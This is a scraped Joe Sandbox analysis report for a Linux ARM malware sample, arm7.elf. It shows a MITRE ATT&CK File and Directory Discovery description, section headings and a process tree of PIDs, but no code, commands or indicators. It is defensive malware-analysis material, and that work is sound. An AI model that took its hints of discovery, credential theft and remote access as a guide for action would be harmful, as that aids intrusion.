Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report arm7.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

System Behavior

Analysis Process: arm7.elf PID: 6217, Parent PID: 6133

General

Chronological Activities

Analysis Process: arm7.elf PID: 6219, Parent PID: 6217

General

Chronological Activities

Analysis Process: arm7.elf PID: 6229, Parent PID: 6219

General

Chronological Activities

Analysis Process: arm7.elf PID: 6230, Parent PID: 6219

General

Chronological Activities

Analysis Process: arm7.elf PID: 6237, Parent PID: 6230

General

Chronological Activities

Analysis Process: arm7.elf PID: 6220, Parent PID: 6217

General

Chronological Activities

Analysis Process: arm7.elf PID: 6222, Parent PID: 6217

General

Chronological Activities

Linux Analysis Report
arm7.elf